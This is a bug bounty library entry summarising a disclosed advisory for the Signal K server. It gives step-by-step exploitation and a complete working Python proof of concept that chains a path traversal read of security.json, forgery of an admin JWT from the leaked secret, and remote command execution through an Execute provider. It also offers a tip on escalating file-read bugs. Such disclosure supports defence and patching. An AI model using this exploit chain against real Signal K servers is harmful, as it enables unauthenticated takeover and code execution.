# Signal K resources API path traversal can disclose the JWT signing secret and enable remote code execution

Unauthenticated path traversal in Signal K resources API reads security.json, leaking the JWT signing secret to forge admin tokens and spawn shell commands.

- Payout: Research
- Severity: critical
- Program: Signal K
- Found by: jasontimwong
- Disclosed: 2026-10-30
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-4xm8-rg9h-jhq2
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-4xm8-rg9h-jhq2
- Tags: area:web3 domain:api impact:ato impact:rce kind:research platform:ghsa sev:critical tech:jwt tech:nodejs technique:chained technique:source-review vuln:auth-bypass vuln:path-traversal vuln:rce vuln:secrets-leak

**Target:** Signal K server REST resources/applicationData API and provider config endpoint
**Root cause:** resourceId is passed unvalidated into path.join(resources[type].path, itemUuid) in FileStore.getResource, so encoded ../ sequences escape the storage root; the JWT signing secret sits in plaintext in the API-readable config directory.
**Steps:**
1. Enable allow_readonly=true on the server (anonymous read access).
2. GET `/signalk/v2/api/resources/notes/..%2F..%2F..%2F..%2Fsecurity.json` to read the config and extract `secretKey`.
3. HS256-sign `{"id":"admin"}` with the leaked secret to build a JWT.
4. Send it as `Authorization: JWT <tok>` to `/skServer/loginStatus`; response shows `userLevel: "admin"`.
5. POST `/skServer/providers` with `{"id":"poc-rce","enabled":True,"logging":False,"type":"Execute","options":{"type":"ws","dataType":"SignalK","command":"id > /tmp/sk-pwned"}}` to trigger `spawn('sh',['-c',command])`.
**How found:** Code review of the v2 resources API: noticed resourceId flows into path.join without validation, then traced where the JWT signing secret is stored (plaintext security.json in config dir) and where admin-only features execute commands (Execute provider via spawn).
**Exploitation:** Unauthenticated attacker (or any readonly user when allow_readonly=false) traverses out of the resource store to read security.json, forges an admin JWT, then creates an Execute-type provider that runs an arbitrary shell command at creation time; the provider persists in settings.json so the command re-runs after restart.
**Escalation:** File-read traversal -> JWT secret disclosure -> admin token forgery -> Execute provider -> arbitrary command execution with server privileges, persistent across restarts.
**Insight:** When a file-read primitive exists, map the config directory for secrets that unlock other admin surfaces (JWT signing keys, password hashes) rather than stopping at data disclosure; check whether any admin feature spawns processes so token forgery converts to RCE.

## Proof of concept (copied exactly from the original report)

**Python PoC: traversal read, JWT forgery, RCE**

```
#!/usr/bin/env python3
import base64, hashlib, hmac, json, time, urllib.request
BASE = "http://127.0.0.1:3000"
CMD  = "id > /tmp/sk-pwned"

# 1) unauthenticated traversal read of security.json
p = "/signalk/v2/api/resources/notes/..%2F..%2F..%2F..%2Fsecurity.json"
sk = json.load(urllib.request.urlopen(BASE + p))["secretKey"]

# 2) forge admin JWT
b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode()
h = b64(json.dumps({"alg":"HS256","typ":"JWT"}).encode())
c = b64(json.dumps({"id":"admin","iat":int(time.time())}).encode())
tok = h+"."+c+"."+b64(hmac.new(sk.encode(), (h+"."+c).encode(), hashlib.sha256).digest())
req = urllib.request.Request(BASE+"/skServer/loginStatus", headers={"Authorization":"JWT "+tok})
assert json.load(urllib.request.urlopen(req))["userLevel"] == "admin"

# 3) add an Execute provider -> spawn('sh','-c',CMD)
prov = {"id":"poc-rce","enabled":True,"logging":False,"type":"Execute",
        "options":{"type":"ws","dataType":"SignalK","command":CMD}}
req = urllib.request.Request(BASE+"/skServer/providers", data=json.dumps(prov).encode(),
                             headers={"Authorization":"JWT "+tok,"Content-Type":"application/json"}, method="POST")
print(urllib.request.urlopen(req).read())    # provider created; /tmp/sk-pwned now exists
```

